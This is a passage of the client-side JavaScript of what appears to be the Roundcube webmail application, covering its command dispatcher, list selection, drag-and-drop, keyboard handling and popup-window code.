          var mimetype = this.env.attachments[props.id];
          if (mimetype && mimetype.mimetype) // in compose format is different
            mimetype = mimetype.mimetype;
          this.enable_command('open-attachment', mimetype && this.env.mimetypes && $.inArray(mimetype, this.env.mimetypes) >= 0);
        }
        this.show_menu(props, props.show || undefined, event);
        break;

      case 'menu-close':
        this.hide_menu(props, event);
        break;

      case 'menu-save':
        this.triggerEvent(command, {props:props, originalEvent:event});
        return false;

      case 'open':
        if (uid = this.get_single_uid()) {
          obj.href = this.url('show', this.params_from_uid(uid, {_extwin: 1}));
          return true;
        }
        break;

      case 'close':
        if (this.env.extwin)
          window.close();
        break;

      case 'list':
        if (props && props != '') {
          this.reset_qsearch(true);
        }
        if (this.env.action == 'compose' && this.env.extwin) {
          window.close();
        }
        else if (this.task == 'mail') {
          this.list_mailbox(props, props ? 1 : '');
          this.set_button_titles();
        }
        else if (this.task == 'addressbook')
          this.list_contacts(props);
        break;

      case 'set-listmode':
        this.set_list_options(null, undefined, undefined, props == 'threads' ? 1 : 0);
        break;

      case 'sort':
        var sort_order = this.env.sort_order,
          sort_col = !this.env.disabled_sort_col ? props : this.env.sort_col;

        if (!this.env.disabled_sort_order)
          sort_order = this.env.sort_col == sort_col && sort_order == 'ASC' ? 'DESC' : 'ASC';

        // set table header and update env
        this.set_list_sorting(sort_col, sort_order);

        // reload message list
        this.list_mailbox('', '', sort_col+'_'+sort_order);
        break;

      case 'nextpage':
        this.list_page('next');
        break;

      case 'lastpage':
        this.list_page('last');
        break;

      case 'previouspage':
        this.list_page('prev');
        break;

      case 'firstpage':
        this.list_page('first');
        break;

      case 'expunge':
        if (this.env.exists)
          this.expunge_mailbox(this.env.mailbox);
        break;

      case 'purge':
      case 'empty-mailbox':
        if (this.env.exists)
          this.purge_mailbox(this.env.mailbox);
        break;

      // common commands used in multiple tasks
      case 'show':
        if (this.task == 'mail') {
          uid = this.get_single_uid();
          if (uid && (!this.env.uid || uid != this.env.uid)) {
            var mbox = this.get_message_mailbox(uid);
            if (mbox == this.env.drafts_mailbox)
              this.open_compose_step({_draft_uid: uid, _mbox: mbox});
            else
              this.show_message(uid);
          }
        }
        else if (this.task == 'addressbook') {
          cid = props ? props : this.get_single_cid();
          if (cid && !(this.env.action == 'show' && cid == this.env.cid))
            this.load_contact(cid, 'show');
        }
        else if (this.task == 'settings') {
          this.goto_url('settings/' + props, {_framed: 0});
        }
        break;

      case 'add':
        if (this.task == 'addressbook')
          this.load_contact(0, 'add');
        else if (this.task == 'settings' && this.env.action == 'responses')
          this.load_response(0, 'add-response');
        else if (this.task == 'settings')
          this.load_identity(0, 'add-identity');
        break;

      case 'edit':
        if (this.task == 'addressbook' && (cid = this.get_single_cid()))
          this.load_contact(cid, 'edit');
        else if (this.task == 'mail' && (uid = this.get_single_uid())) {
          url = { _mbox: this.get_message_mailbox(uid) };
          url[url._mbox == this.env.drafts_mailbox && props != 'new' ? '_draft_uid' : '_uid'] = uid;
          this.open_compose_step(url);
        }
        break;

      case 'save':
        var input, form = this.gui_objects.editform;
        if (form) {
          // user prefs
          if ((input = $("[name='_pagesize']", form)) && input.length && isNaN(parseInt(input.val()))) {
            this.alert_dialog(this.get_label('nopagesizewarning'), function() {
              input.focus();
            });
            break;
          }
          // contacts/identities
          else {
            // reload form
            if (props == 'reload') {
              form.action += '&_reload=1';
            }
            else if (this.task == 'settings' && (this.env.identities_level % 2) == 0  &&
              (input = $("[name='_email']", form)) && input.length && !rcube_check_email(input.val())
            ) {
              this.alert_dialog(this.get_label('noemailwarning'), function() {
                input.focus();
              });
              break;
            }
          }

          // add selected source (on the list)
          if (parent.rcmail && parent.rcmail.env.source)
            form.action = this.add_url(form.action, '_orig_source', parent.rcmail.env.source);

          form.submit();
        }
        break;

      case 'delete':
        // mail task
        if (this.task == 'mail')
          this.delete_messages(event);
        // addressbook task
        else if (this.task == 'addressbook')
          this.delete_contacts();
        // settings: canned response
        else if (this.task == 'settings' && this.env.action == 'responses')
          this.delete_response();
        // settings: user identities
        else if (this.task == 'settings')
          this.delete_identity();
        break;

      // mail task commands
      case 'move':
      case 'moveto': // deprecated
        if (this.task == 'mail')
          this.move_messages(props, event);
        else if (this.task == 'addressbook')
          this.move_contacts(props, event);
        break;

      case 'copy':
        if (this.task == 'mail')
          this.copy_messages(props, event);
        else if (this.task == 'addressbook')
          this.copy_contacts(props, event);
        break;

      case 'mark':
        if (props)
          this.mark_message(props);
        break;

      case 'toggle_status':
      case 'toggle_flag':
        flag = command == 'toggle_flag' ? 'flagged' : 'read';

        if (uid = props) {
          // toggle flagged/unflagged
          if (flag == 'flagged') {
            if (this.message_list.rows[uid].flagged)
              flag = 'unflagged';
          }
          // toggle read/unread
          else if (this.message_list.rows[uid].deleted)
            flag = 'undelete';
          else if (!this.message_list.rows[uid].unread)
            flag = 'unread';

          this.mark_message(flag, uid);
        }

        break;

      case 'add-contact':
        this.add_contact(props);
        break;

      case 'load-remote':
        if (this.env.uid) {
          if (props && this.env.sender) {
            this.add_contact(this.env.sender, true, props);
            break;
          }

          this.show_message(this.env.uid, true, this.env.action == 'preview');
        }
        break;

      case 'load-attachment':
      case 'open-attachment':
      case 'download-attachment':
        var params, mimetype = this.env.attachments[props];

        if (this.env.action == 'compose') {
          params = {_file: props, _id: this.env.compose_id};
          mimetype = mimetype ? mimetype.mimetype : '';
        }
        else {
          params = {_mbox: this.env.mailbox, _uid: this.env.uid, _part: props};
        }

        // open attachment in frame if it's of a supported mimetype
        if (command != 'download-attachment' && mimetype && this.env.mimetypes && $.inArray(mimetype, this.env.mimetypes) >= 0) {
          // Note: We disable _framed for proper X-Frame-Options:deny support (#6688)
          if (this.open_window(this.url('get', $.extend({_frame: 1, _framed: 0}, params))))
            return true;
        }

        params._download = 1;

        // prevent from page unload warning in compose
        this.compose_skip_unsavedcheck = 1;
        this.goto_url('get', params, false, true);
        this.compose_skip_unsavedcheck = 0;

        return true;

      case 'select-all':
        this.select_all_mode = props ? false : true;
        this.dummy_select = true; // prevent msg opening if there's only one msg on the list
        var list = this[this.task == 'addressbook' ? 'contact_list' : 'message_list'];
        if (props == 'invert')
          list.invert_selection();
        else
          list.select_all(props == 'page' ? '' : props);
        this.dummy_select = null;
        break;

      case 'select-none':
        this.select_all_mode = false;
        this[this.task == 'addressbook' ? 'contact_list' : 'message_list'].clear_selection();
        break;

      case 'expand-all':
        this.env.autoexpand_threads = 1;
        this.message_list.expand_all();
        break;

      case 'expand-unread':
        this.env.autoexpand_threads = 2;
        this.message_list.collapse_all();
        this.expand_unread();
        break;

      case 'collapse-all':
        this.env.autoexpand_threads = 0;
        this.message_list.collapse_all();
        break;

      case 'nextmessage':
        if (this.env.next_uid)
          this.show_message(this.env.next_uid, false, this.env.action == 'preview');
        break;

      case 'lastmessage':
        if (this.env.last_uid)
          this.show_message(this.env.last_uid);
        break;

      case 'previousmessage':
        if (this.env.prev_uid)
          this.show_message(this.env.prev_uid, false, this.env.action == 'preview');
        break;

      case 'firstmessage':
        if (this.env.first_uid)
          this.show_message(this.env.first_uid);
        break;

      case 'compose':
        url = {};

        if (this.task == 'mail') {
          url = {_mbox: this.env.mailbox, _search: this.env.search_request};
          if (props)
            url._to = props;
        }
        // modify url if we're in addressbook
        else if (this.task == 'addressbook') {
          // switch to mail compose step directly
          if (props && props.indexOf('@') > 0) {
            url._to = props;
          }
          else {
            var a_cids = [];
            // use contact id passed as command parameter
            if (props)
              a_cids.push(props);
            // get selected contacts
            else if (this.contact_list)
              a_cids = this.contact_list.get_selection();

            if (a_cids.length) {
              this.http_post('mailto', { _cid: a_cids.join(','), _source: this.env.source }, true);
              break;
            }
            else if (this.env.group && this.env.pagecount) {
              this.http_post('mailto', { _gid: this.env.group, _source: this.env.source }, true);
              break;
            }
          }
        }
        else if (props && typeof props == 'string') {
          url._to = props;
        }
        else if (props && typeof props == 'object') {
          $.extend(url, props);
        }

        this.open_compose_step(url);
        break;

      case 'spellcheck':
        if (this.spellcheck_state()) {
          this.editor.spellcheck_stop();
        }
        else {
          this.editor.spellcheck_start();
        }
        break;

      case 'savedraft':
        // Reset the auto-save timer
        clearTimeout(this.save_timer);

        // compose form did not change (and draft wasn't saved already)
        if (this.env.draft_id && this.cmp_hash == this.compose_field_hash()) {
          this.auto_save_start();
          break;
        }

        this.submit_messageform(true);
        break;

      case 'send':
        if (!props.nocheck && !this.env.is_sent && !this.check_compose_input(command))
          break;

        // Reset the auto-save timer
        clearTimeout(this.save_timer);

        this.submit_messageform();
        break;

      case 'send-attachment':
        // Reset the auto-save timer
        clearTimeout(this.save_timer);

        if (!(flag = this.upload_file(props || this.gui_objects.uploadform, 'upload'))) {
          if (flag !== false)
            this.alert_dialog(this.get_label('selectimportfile'));
          aborted = true;
        }
        break;

      case 'insert-sig':
        this.change_identity($("[name='_from']")[0], true);
        break;

      case 'list-addresses':
        this.list_contacts(props);
        this.enable_command('add-recipient', false);
        break;

      case 'add-recipient':
        this.compose_add_recipient(props);
        break;

      case 'reply-all':
      case 'reply-list':
      case 'reply':
        if (uid = this.get_single_uid()) {
          url = {_reply_uid: uid, _mbox: this.get_message_mailbox(uid), _search: this.env.search_request};
          if (command == 'reply-all')
            // do reply-list, when list is detected and popup menu wasn't used
            url._all = (!props && this.env.reply_all_mode == 1 && this.commands['reply-list'] ? 'list' : 'all');
          else if (command == 'reply-list')
            url._all = 'list';

          this.open_compose_step(url);
        }
        break;

      case 'forward-attachment':
      case 'forward-inline':
      case 'forward':
        var uids = this.env.uid ? [this.env.uid] : (this.message_list ? this.message_list.get_selection() : []);
        if (uids.length) {
          url = { _forward_uid: this.uids_to_list(uids), _mbox: this.env.mailbox, _search: this.env.search_request };
          if (command == 'forward-attachment' || (!props && this.env.forward_attachment) || uids.length > 1)
            url._attachment = 1;
          this.open_compose_step(url);
        }
        break;

      case 'print':
        if (this.task == 'addressbook') {
          if (uid = this.get_single_cid()) {
            url = '&_action=print&_cid=' + uid;
            if (this.env.source)
              url += '&_source=' + urlencode(this.env.source);
            this.open_window(this.env.comm_path + url, true, true);
          }
        }
        else if (this.env.action == 'get' && !this.env.is_message) {
          this.gui_objects.messagepartframe.contentWindow.print();
        }
        else if (uid = this.get_single_uid()) {
          url = this.url('print', this.params_from_uid(uid, {_safe: this.env.safemode ? 1 : 0}));
          if (this.open_window(url, true, true)) {
            if (this.env.action != 'show' && this.env.action != 'get')
              this.mark_message('read', uid);
          }
        }
        break;

      case 'viewsource':
        if (uid = this.get_single_uid())
          this.open_window(this.url('viewsource', this.params_from_uid(uid)), true, true);
        break;

      case 'download':
        if (this.env.action == 'get') {
          location.href = this.secure_url(location.href.replace(/_frame=/, '_download='));
        }
        else if (uid = this.get_single_uid()) {
          this.goto_url('viewsource', this.params_from_uid(uid, {_save: 1}), false, true);
        }
        break;

      // quicksearch
      case 'search':
        return this.qsearch(props);

      // reset quicksearch
      case 'reset-search':
        var n, s = this.env.search_request || this.env.qsearch;

        this.reset_qsearch(true);

        if (s && this.env.action == 'compose') {
          if (this.contact_list)
            this.list_contacts_clear();
        }
        else if (s && this.env.mailbox) {
          this.list_mailbox(this.env.mailbox, 1);
        }
        else if (s && this.task == 'addressbook') {
          this.env.source = this.env.last_source || '';
          this.env.group = this.env.last_group || '';
          this.list_contacts(this.env.source, this.env.group, 1);
        }
        break;

      case 'pushgroup':
        // add group ID and current search to stack
        var group = {
          id: props.id,
          search_request: this.env.search_request,
          page: this.env.current_page,
          search: this.env.search_request && this.gui_objects.qsearchbox ? this.gui_objects.qsearchbox.value : null
        };

        this.env.address_group_stack.push(group);
        if (obj && event)
          rcube_event.cancel(event);

        // FIXME: no break?

      case 'listgroup':
        this.reset_qsearch();
        this.list_contacts(props.source, props.id, 1, group);
        break;

      case 'popgroup':
        if (this.env.address_group_stack.length) {
          var old = this.env.address_group_stack.pop();
          this.reset_qsearch();

          if (old.search_request) {
            // this code is executed when going back to the search result
            if (old.search && this.gui_objects.qsearchbox)
              $(this.gui_objects.qsearchbox).val(old.search);
            this.env.search_request = old.search_request;
            this.list_contacts_remote(null, null, this.env.current_page = old.page);
          }
          else
            this.list_contacts(props.source, this.env.address_group_stack[this.env.address_group_stack.length-1].id);
        }
        break;

      case 'import-messages':
        var form = props || this.gui_objects.importform,
          importlock = this.set_busy(true, 'importwait');

        if (!(flag = this.upload_file(form, 'import', importlock))) {
          this.set_busy(false, null, importlock);
          if (flag !== false)
            this.alert_dialog(this.get_label('selectimportfile'));
          this.command_aborted = true;
        }
        break;

      case 'import':
        var dialog = $('<iframe>').attr('src', this.url('import', {_framed: 1, _target: this.env.source})),
          import_func = function(e) {
            var win = dialog[0].contentWindow,
              form = null;

            if (win.rcmail.gui_objects.importformmap)
              form = win.rcmail.gui_objects.importformmap;
            else
              form = win.rcmail.gui_objects.importform;

            if (form) {
              var lock, file = win.$('#rcmimportfile')[0];
              if (file && !file.value) {
                win.rcmail.alert_dialog(win.rcmail.get_label('selectimportfile'));
                return;
              }

              lock = win.rcmail.set_busy(true, 'importwait');
              $('[name="_unlock"]', form).val(lock);
              form.submit();
              win.rcmail.lock_form(form, true);
              // disable Import button
              $(e.target).attr('disabled', true).next().focus();
            }
          },
          close_func = function(event, ui) {
            $(this).remove();
            if (ref.import_state == 'reload')
              ref.command('list');
          };

        this.import_state = null;
        this.import_dialog = this.simple_dialog(dialog, 'importcontacts', import_func, {
          close: close_func,
          button: 'import',
          width: 500,
          height: 300
        });

        break;

      case 'export':
        if (this.contact_list.rowcount > 0) {
          this.goto_url('export', { _source: this.env.source, _gid: this.env.group, _search: this.env.search_request }, false, true);
        }
        break;

      case 'export-selected':
        if (this.contact_list.rowcount > 0) {
          this.goto_url('export', { _source: this.env.source, _gid: this.env.group, _cid: this.contact_list.get_selection().join(',') }, false, true);
        }
        break;

      case 'upload-photo':
        this.upload_contact_photo(props || this.gui_objects.uploadform);
        break;

      case 'delete-photo':
        this.replace_contact_photo('-del-');
        break;

      case 'undo':
        this.http_request('undo', '', this.display_message('', 'loading'));
        break;

      // unified command call (command name == function name)
      default:
        var func = command.replace(/-/g, '_');
        if (this[func] && typeof this[func] === 'function') {
          return this[func](props, obj, event);
        }
    }
  };

  // set command(s) enabled or disabled
  this.enable_command = function()
  {
    var i, n, args = Array.prototype.slice.call(arguments),
      enable = args.pop(), cmd;

    for (n=0; n<args.length; n++) {
      cmd = args[n];
      // argument of type array
      if (typeof cmd === 'string') {
        this.commands[cmd] = enable;
        this.set_button(cmd, (enable ? 'act' : 'pas'));
        this.triggerEvent('enable-command', {command: cmd, status: enable});
      }
      // push array elements into commands array
      else {
        for (i in cmd)
          args.push(cmd[i]);
      }
    }

    this.set_menu_buttons();
  };

  this.command_enabled = function(cmd)
  {
    return this.commands[cmd];
  };

  // lock/unlock interface
  this.set_busy = function(a, message, id)
  {
    if (a && message) {
      var msg = this.get_label(message);
      if (msg == message)
        msg = 'Loading...';

      id = this.display_message(msg, 'loading');
    }
    else if (!a && id) {
      this.hide_message(id);
    }

    this.busy = a;

    if (this.gui_objects.editform)
      this.lock_form(this.gui_objects.editform, a);

    return id;
  };

  // return a localized string
  this.get_label = function(name, domain)
  {
    if (domain && this.labels[domain+'.'+name])
      return this.labels[domain+'.'+name];
    else if (this.labels[name])
      return this.labels[name];
    else
      return name;
  };

  // alias for convenience reasons
  this.gettext = this.get_label;

  // switch to another application task
  this.switch_task = function(task)
  {
    var action, path;

    if ((path = task.split('/')).length == 2) {
      task = path[0];
      action = path[1];
    }

    if (this.task === task && task != 'mail')
      return;

    var url = this.get_task_url(task);

    if (action)
      url += '&_action=' + action;

    if (task == 'mail')
      url += '&_mbox=INBOX';
    else if (task == 'logout') {
      url = this.secure_url(url);
      this.clear_compose_data();
    }

    this.redirect(url);
  };

  this.get_task_url = function(task, url)
  {
    if (!url)
      url = this.env.comm_path;

    if (url.match(/[?&]_task=[a-zA-Z0-9_-]+/))
        return url.replace(/_task=[a-zA-Z0-9_-]+/, '_task=' + task);
    else
        return url.replace(/\?.*$/, '') + '?_task=' + task;
  };

  this.reload = function(delay)
  {
    if (this.is_framed())
      parent.rcmail.reload(delay);
    else if (delay)
      setTimeout(function() { ref.reload(); }, delay);
    else if (window.location)
      location.href = this.url('', {_extwin: this.env.extwin});
  };

  // Add variable to GET string, replace old value if exists
  this.add_url = function(url, name, value)
  {
    var urldata, datax, hash = '';

    value = urlencode(value);

    if (/(#[a-z0-9_-]*)$/.test(url)) {
      hash = RegExp.$1;
      url = url.substr(0, url.length - hash.length);
    }

    if (/(\?.*)$/.test(url)) {
      urldata = RegExp.$1;
      datax = RegExp('((\\?|&)'+RegExp.escape(name)+'=[^&]*)');

      if (datax.test(urldata))
        urldata = urldata.replace(datax, RegExp.$2 + name + '=' + value);
      else
        urldata += '&' + name + '=' + value;

      return url.replace(/(\?.*)$/, urldata) + hash;
    }

    return url + '?' + name + '=' + value + hash;
  };

  // append CSRF protection token to the given url
  this.secure_url = function(url)
  {
    return this.add_url(url, '_token', this.env.request_token);
  },

  this.is_framed = function()
  {
    return this.env.framed && parent.rcmail && parent.rcmail != this && typeof parent.rcmail.command == 'function';
  };

  this.save_pref = function(prop)
  {
    var request = {_name: prop.name, _value: prop.value};

    if (prop.session)
      request._session = prop.session;
    if (prop.env)
      this.env[prop.env] = prop.value;

    this.http_post('save-pref', request);
  };

  this.html_identifier = function(str, encode)
  {
    return encode ? this.html_identifier_encode(str) : String(str).replace(this.identifier_expr, '_');
  };

  this.html_identifier_encode = function(str)
  {
    return Base64.encode(String(str)).replace(/=+$/, '').replace(/\+/g, '-').replace(/\//g, '_');
  };

  this.html_identifier_decode = function(str)
  {
    str = String(str).replace(/-/g, '+').replace(/_/g, '/');

    while (str.length % 4) str += '=';

    return Base64.decode(str);
  };


  /*********************************************************/
  /*********        event handling methods         *********/
  /*********************************************************/

  this.drag_menu = function(e, target)
  {
    var modkey = rcube_event.get_modifier(e),
      menu = this.gui_objects.dragmenu;

    if (menu && modkey == SHIFT_KEY && this.commands['copy']) {
      var pos = rcube_event.get_mouse_pos(e);
      this.env.drag_target = target;
      this.show_menu(this.gui_objects.dragmenu.id, true, e);
      $(menu).css({top: (pos.y-10)+'px', left: (pos.x-10)+'px'});
      return true;
    }

    return false;
  };

  this.drag_menu_action = function(action)
  {
    var menu = this.gui_objects.dragmenu;
    if (menu) {
      $(menu).hide();
    }

    this.command(action, this.env.drag_target);
    this.env.drag_target = null;
  };

  this.drag_start = function(list)
  {
    this.drag_active = true;

    if (this.preview_timer)
      clearTimeout(this.preview_timer);

    // prepare treelist widget for dragging interactions
    if (this.treelist)
      this.treelist.drag_start();
  };

  this.drag_end = function(e)
  {
    var list, model;

    if (this.treelist)
      this.treelist.drag_end();

    // execute drag & drop action when mouse was released
    if (list = this.message_list)
      model = this.env.mailboxes;
    else if (list = this.contact_list)
      model = this.env.contactfolders;

    // Note: we accept only mouse events to ignore dragging aborts with ESC key (#6623)
    if (this.drag_active && model && this.env.last_folder_target && !rcube_event.is_keyboard(e)) {
      var target = model[this.env.last_folder_target];
      list.draglayer.hide();

      if (this.contact_list) {
        if (!this.contacts_drag_menu(e, target))
          this.command('move', target);
      }
      else if (!this.drag_menu(e, target))
        this.command('move', target);
    }

    this.drag_active = false;
    this.env.last_folder_target = null;
  };

  this.drag_move = function(e)
  {
    if (this.gui_objects.folderlist) {
      var drag_target, oldclass,
        layerclass = 'draglayernormal',
        mouse = rcube_event.get_mouse_pos(e);

      if (this.contact_list && this.contact_list.draglayer)
        oldclass = this.contact_list.draglayer.attr('class');

      // mouse intersects a valid drop target on the treelist
      if (this.treelist && (drag_target = this.treelist.intersects(mouse, true))) {
        this.env.last_folder_target = drag_target;
        layerclass = 'draglayer' + (this.check_droptarget(drag_target) > 1 ? 'copy' : 'normal');
      }
      else {
        // Clear target, otherwise drag end will trigger move into last valid droptarget
        this.env.last_folder_target = null;
      }

      if (layerclass != oldclass && this.contact_list && this.contact_list.draglayer)
        this.contact_list.draglayer.attr('class', layerclass);
    }
  };

  this.collapse_folder = function(name)
  {
    if (this.treelist)
      this.treelist.toggle(name);
  };

  this.folder_collapsed = function(node)
  {
    if (this.folder_collapsed_timer)
      clearTimeout(this.folder_collapsed_timer);

    var prefname = this.env.task == 'addressbook' ? 'collapsed_abooks' : 'collapsed_folders',
      old = this.env[prefname],
      entry = '&' + urlencode(node.id) + '&';

    this.env[prefname] = old.replace(entry, '');

    if (node.collapsed) {
      this.env[prefname] = this.env[prefname] + entry;

      // select the folder if one of its children is currently selected
      // don't select if it's virtual (#1488346)
      if (!node.virtual && this.env.mailbox && this.env.mailbox.startsWith(node.id + this.env.delimiter))
        this.command('list', node.id);
    }

    if (!this.drag_active) {
      if (old !== this.env[prefname])
        this.folder_collapsed_timer = setTimeout(function() { ref.command('save-pref', { name: prefname, value: ref.env[prefname] }); }, 10);

      if (this.env.unread_counts)
        this.set_unread_count_display(node.id, false);
    }
  };

  // global mouse-click handler to cleanup some UI elements
  this.doc_mouse_up = function(e)
  {
    var list, id, target = rcube_event.get_target(e);

    // ignore event if jquery UI dialog is open
    if ($(target).closest('.ui-dialog, .ui-widget-overlay').length)
      return;

    // remove focus from list widgets
    if (window.rcube_list_widget && rcube_list_widget._instances.length) {
      $.each(rcube_list_widget._instances, function(i,list) {
        if (list && !rcube_mouse_is_over(e, list.list.parentNode))
          list.blur();
      });
    }

    // reset 'pressed' buttons
    if (this.buttons_sel) {
      for (id in this.buttons_sel)
        if (typeof id !== 'function')
          this.button_out(this.buttons_sel[id], id);
      this.buttons_sel = {};
    }

    // reset popup menus; delayed to have updated menu_stack data
    setTimeout(function(e) {
      var obj, skip, config, id, i, parents = $(target).parents();
      for (i = ref.menu_stack.length - 1; i >= 0; i--) {
        id = ref.menu_stack[i];
        obj = $('#' + id);

        if (obj.is(':visible')
          && target != obj.data('opener')
          && target != obj.get(0)  // check if scroll bar was clicked (#1489832)
          && !parents.is(obj.data('opener'))
          && id != skip
          && (obj.attr('data-editable') != 'true' || !$(target).parents('#' + id).length)
          && (obj.attr('data-sticky') != 'true' || !rcube_mouse_is_over(e, obj.get(0)))
        ) {
          ref.hide_menu(id, e);
        }
        skip = obj.data('parent');
      }
    }, 10, e);
  };

  // global keypress event handler
  this.doc_keypress = function(e)
  {
    // Helper method to move focus to the next/prev active menu item
    var focus_menu_item = function(dir) {
      var obj, item, mod = dir < 0 ? 'prevAll' : 'nextAll', limit = dir < 0 ? 'last' : 'first';
      if (ref.focused_menu && (obj = $('#'+ref.focused_menu))) {
        item = obj.find(':focus').closest('li')[mod]().has(':not([aria-disabled=true])').find('a,input')[limit]();
        if (!item.length)
          item = obj.find(':focus').closest('ul')[mod]().has(':not([aria-disabled=true])').find('a,input')[limit]();
        return item.focus().length;
      }

      return 0;
    };

    var target = e.target || {},
      keyCode = rcube_event.get_keycode(e);

    if (e.keyCode != 27 && (!this.menu_keyboard_active || target.nodeName == 'TEXTAREA' || target.nodeName == 'SELECT')) {
      return true;
    }

    switch (keyCode) {
      case 38:
      case 40:
      case 63232: // "up", in safari keypress
      case 63233: // "down", in safari keypress
        focus_menu_item(keyCode == 38 || keyCode == 63232 ? -1 : 1);
        return rcube_event.cancel(e);

      case 9:   // tab
        if (this.focused_menu) {
          var mod = rcube_event.get_modifier(e);
          if (!focus_menu_item(mod == SHIFT_KEY ? -1 : 1)) {
            this.hide_menu(this.focused_menu, e);
          }
        }
        return rcube_event.cancel(e);

      case 27:  // esc
        if (this.menu_stack.length)
          this.hide_menu(this.menu_stack[this.menu_stack.length-1], e);
        break;
    }

    return true;
  }

  // Common handler for a keypress event on a list widget
  this.list_keypress = function(list, conf)
  {
    if (list.modkey == CONTROL_KEY)
      return;

    if (list.key_pressed == list.DELETE_KEY || list.key_pressed == list.BACKSPACE_KEY)
      this.command(conf && conf.del ? conf.del : 'delete');
    else if (list.key_pressed == 33)
      this.command(conf && conf.prev ? conf.prev : 'previouspage');
    else if (list.key_pressed == 34)
      this.command(conf && conf.next ? conf.next : 'nextpage');
  };

  // Handler for a keypress event on a messages list widget
  this.msglist_keypress = function(list)
  {
    // On Enter open the message in list layout mode (no preview frame)
    if (list.key_pressed == list.ENTER_KEY && !this.env.contentframe)
      this.command('show');
    else
      this.list_keypress(list);
  };

  this.msglist_select = function(list)
  {
    if (this.preview_timer)
      clearTimeout(this.preview_timer);

    var isDraft = false,
      selected = list.get_single_selection(),
      selection = list.get_selection(false),
      selected_count = selection.length;

    this.enable_command(this.env.message_commands, selected != null);

    // Find out whether any of the selected messages comes from the Drafts folder
    if (selected_count > 0) {
      if (!this.env.multifolder_listing) {
        isDraft = this.env.mailbox == this.env.drafts_mailbox
      }
      else {
        $.each(selection, function(i, v) {
          if (ref.get_message_mailbox(v) == ref.env.drafts_mailbox) {
            isDraft = true;
            return false;
          }
        });
      }
    }

    // Disable some actions enabled above
    if (selected) {
      if (isDraft) {
        this.enable_command('reply', 'reply-all', 'reply-list', 'forward', 'forward-inline',
          'forward-attachment', 'bounce', false);
      }
      else {
        var msg = this.env.messages[selected];
        if (!msg.ml)
          this.enable_command('reply-list', false);
      }
    }

    // Multi-message commands
    this.enable_command('delete', 'move', 'copy', 'mark', selected_count > 0);
    this.enable_command('forward', 'forward-attachment', !isDraft && selected_count > 0);

    // reset all-pages-selection
    if (selected || (selected_count && selected_count != list.rowcount))
      this.select_all_mode = false;

    // start timer for message preview (wait for double click)
    if (selected && this.env.contentframe && !list.multi_selecting && !this.dummy_select) {
      // try to be responsive and try not to overload the server when user is pressing up/down key repeatedly
      var now = new Date().getTime(),
        time_diff = now - (this._last_msglist_select_time || 0),
        preview_pane_delay = this.preview_delay_click;

      // user is selecting messages repeatedly, wait until this ends (use larger delay)
      if (time_diff < this.preview_delay_select) {
        preview_pane_delay = this.preview_delay_select;
        if (this.preview_timer) {
          clearTimeout(this.preview_timer);
        }
        if (this.env.contentframe) {
          this.show_contentframe(false);
        }
      }

      this._last_msglist_select_time = now;
      this.preview_timer = setTimeout(function() { ref.msglist_get_preview(); }, preview_pane_delay);
    }
    else if (this.env.contentframe) {
      this.show_contentframe(false);
    }
  };

  this.msglist_dbl_click = function(list)
  {
    if (this.preview_timer)
      clearTimeout(this.preview_timer);

    var mbox, uid = list.get_single_selection();

    // TODO: Here we should just use this.command('show') but we can't
    // because at this point this.busy=true (set by msglist_get_preview())

    if (uid) {
      mbox = this.get_message_mailbox(uid);
      if (mbox == this.env.drafts_mailbox)
        this.open_compose_step({_draft_uid: uid, _mbox: mbox});
      else
        this.show_message(uid);
    }
  };

  this.msglist_get_preview = function()
  {
    var uid = this.get_single_uid();
    if (uid && this.env.contentframe && !this.drag_active)
      this.show_message(uid, false, true);
    else if (this.env.contentframe)
      this.show_contentframe(false);
  };

  this.msglist_expand = function(row)
  {
    if (this.env.messages[row.uid])
      this.env.messages[row.uid].expanded = row.expanded;
    $(row.obj)[row.expanded?'addClass':'removeClass']('expanded');
  };

  this.msglist_set_coltypes = function(list)
  {
    var i, found, name, cols = list.thead.rows[0].cells;

    this.env.listcols = [];

    for (i=0; i<cols.length; i++)
      if (cols[i].id && cols[i].id.startsWith('rcm')) {
        name = cols[i].id.slice(3);
        this.env.listcols.push(name);
      }

    // update message list setup
    this.msglist_setup(this.env.layout);

    if ((found = $.inArray('flag', this.env.listcols)) >= 0)
      this.env.flagged_col = found;

    if ((found = $.inArray('subject', this.env.listcols)) >= 0)
      this.env.subject_col = found;

    this.command('save-pref', { name: 'list_cols', value: this.env.listcols, session: 'list_attrib/columns' });
  };

  this.msglist_setup = function(layout)
  {
    var ret, listcols;

    // allow plugins or skins to override default list layout
    if (ret = this.triggerEvent('msglist_layout', layout))
      layout = ret;

    listcols = this.env[layout == 'widescreen' ? 'listcols_widescreen' : 'listcols'];

    if (layout == 'widescreen' && !this.env.threading)
      listcols = $.grep(listcols, function(value) { return value != 'threads'; });

    // set env vars for message list
    this.env.msglist_layout = layout;
    this.env.msglist_cols = listcols;

    // Set sort-* class on the list element
    var list = this.gui_objects.messagelist,
      classes = list.className.split(' ').filter(function(v) { return !v.startsWith('sort-'); });

    classes.push('sort-' + (this.env.sort_col || 'none'));
    list.className = classes.join(' ');
  };

  this.check_droptarget = function(id)
  {
    switch (this.task) {
      case 'mail':
        return (this.env.mailboxes[id]
            && !this.env.mailboxes[id].virtual
            && (this.env.mailboxes[id].id != this.env.mailbox || this.is_multifolder_listing())) ? 1 : 0;

      case 'addressbook':
        var target;
        if (id != this.env.source && (target = this.env.contactfolders[id])) {
          // droptarget is a group
          if (target.type == 'group') {
            if (target.id != this.env.group && !this.env.contactfolders[target.source].readonly) {
              var is_other = this.env.selection_sources.length > 1 || $.inArray(target.source, this.env.selection_sources) == -1;
              return !is_other || this.commands.move ? 1 : 2;
            }
          }
          // droptarget is a (writable) addressbook and it's not the source
          else if (!target.readonly && (this.env.selection_sources.length > 1 || $.inArray(id, this.env.selection_sources) == -1)) {
            return this.commands.move ? 1 : 2;
          }
        }
    }

    return 0;
  };

  // open popup window
  this.open_window = function(url, small, toolbar)
  {
    var wname = 'rcmextwin' + new Date().getTime();

    url += (url.match(/\?/) ? '&' : '?') + '_extwin=1';

    if (this.env.standard_windows)
      var extwin = window.open(url, wname);
    else {
      var win = this.is_framed() ? parent.window : window,
        page = $(win),
        page_width = page.width(),
        page_height = bw.mz ? $('body', win).height() : page.height(),
        w = Math.min(small ? this.env.popup_width_small : this.env.popup_width, page_width),
        h = page_height, // always use same height
        l = (win.screenLeft || win.screenX) + 20,
        t = (win.screenTop || win.screenY) + 20,
        extwin = window.open(url, wname,
          'width='+w+',height='+h+',top='+t+',left='+l+',resizable=yes,location=no,scrollbars=yes'
